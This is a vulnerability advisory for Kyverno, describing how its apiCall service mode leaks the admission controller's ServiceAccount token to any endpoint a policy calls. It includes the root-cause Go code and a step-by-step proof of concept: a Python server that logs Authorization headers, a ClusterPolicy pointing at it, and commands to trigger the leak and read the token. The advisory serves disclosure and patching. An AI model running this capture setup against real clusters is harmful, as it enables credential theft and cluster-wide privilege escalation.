Monitor vulnerabilities like this one. Sign up free to get alerted when software you use is affected.
7.7

Kyverno apiCall Exposes ServiceAccount Token to External Endpoints

GHSA-8wfp-579w-6r25
Summary

A setting in Kyverno's apiCall service mode automatically sends your Kubernetes ServiceAccount token to external websites, making it possible for attackers to steal your credentials. This is a security risk because it's not intended to be used this way and isn't well-documented. Update Kyverno to the latest version to fix this issue.

What to do
  • Update github.com kyverno to version 1.17.0.
Affected software
Ecosystem VendorProductAffected versions
go github.com kyverno < 1.17.0
Fix: upgrade to 1.17.0
Original title
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
Original description
### Summary
Kyverno's apiCall service mode automatically attaches the admission controller's ServiceAccount (SA) token to outbound HTTP requests. This results in unintended credential exposure when requests are sent to external or attacker-controlled endpoints.

The behavior is insecure-by-default and not documented, enabling token exfiltration without requiring policy authors to explicitly opt in.

---

### Details

Kyverno's apiCall executor (`pkg/engine/apicall/executor.go`) reads the ServiceAccount token from:

`/var/run/secrets/kubernetes.io/serviceaccount/token`

and injects it into every HTTP request as:

```
Authorization: Bearer <token>
```

This occurs when no explicit `Authorization` header is defined in the policy.

#### Root cause

```go
if req.Header.Get("Authorization") == "" {
token := a.getToken()
if token != "" {
req.Header.Add("Authorization", "Bearer "+token)
}
}
```

This logic introduces several issues:

- **Implicit credential forwarding** to arbitrary endpoints
- **No trust boundary validation** (external/internal distinction)
- **Undocumented behavior**
- **Header.Add instead of Set** allows duplication
- **No token sanitization** (potential trailing newline)

---

### PoC

#### Preconditions

- Kyverno installed (v1.17.1 tested)
- A policy using `apiCall.service.url`

---

#### Step 1 — Deploy capture server

```bash
kubectl run capture --image=python:3-slim --restart=Never -- \
python3 -c "
import http.server
class H(http.server.BaseHTTPRequestHandler):
def do_GET(self):
print(self.headers.get('Authorization'), flush=True)
self.send_response(200)
self.end_headers()
http.server.HTTPServer(('0.0.0.0',8888),H).serve_forever()"
kubectl expose pod capture --port=8888
```

---

#### Step 2 — Create policy

```yaml
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
name: token-leak
spec:
rules:
- name: test
match:
any:
- resources:
kinds: ["Pod"]
context:
- name: r
apiCall:
method: GET
service:
url: "http://capture.default.svc:8888"
jmesPath: "@"
```

---

#### Step 3 — Trigger

```bash
kubectl run test --image=nginx
```

---

#### Step 4 — Observe token

```bash
kubectl logs capture
```

Output:

```
Authorization: Bearer <SA_TOKEN>
```

---

### Impact

#### Vulnerability class
- Credential exposure / leakage

#### Impact details

- Exposure of Kubernetes ServiceAccount token
- Token grants:
- Full control over Kyverno policies
- Ability to create/delete webhooks
- Read cluster-wide resources
- Privilege escalation and persistence
ghsa CVSS3.1 7.7
Vulnerability type
CWE-200 Information Exposure
CWE-522 Insufficiently Protected Credentials
Published: 16 Apr 2026 · Updated: 16 Apr 2026 · First seen: 16 Apr 2026